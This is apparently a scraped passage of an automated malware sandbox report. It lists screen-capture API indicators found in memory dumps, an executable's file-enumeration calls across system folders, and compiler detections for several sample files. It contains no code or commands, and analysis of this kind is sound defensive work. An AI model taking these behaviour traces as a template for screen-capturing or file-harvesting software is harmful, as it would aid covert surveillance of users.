"00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004396.00000000.132106.03210000.00000004.mdmp")5f:T77d,"2212625158.exe" called "FindFirstFileW" with parameter C:\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter $Recycle.Bin (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter S-1-5-18 (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-18\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter desktop.ini (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter S-1-5-21-735145574-3570218355-1207367261-1001 (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-21-735145574-3570218355-1207367261-1001\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter $WINDOWS.~BT (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter DUDownload (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter Setup (UID: 00000000-00010612) "2212625158.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\Setup\* (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter acmigration.dll (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter appraiser.sdb (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter diagtrack.dll (UID: 00000000-00010612) "2212625158.exe" called "FindNextFileW" with parameter mediasetupuimgr.dll (UID: 00000000-00010612)60:T56f," Microsoft" "peinf_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "4_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "3542839923.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "2757031046.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "4069628157.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "9_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "3_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "3694722924.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "1104819074.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "2109618850.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "10_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "14_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "1268810073.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "11_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "13_1_.exe" was detected as "Visual C++ 2005 Release -> Microsoft"6f:T6b0,"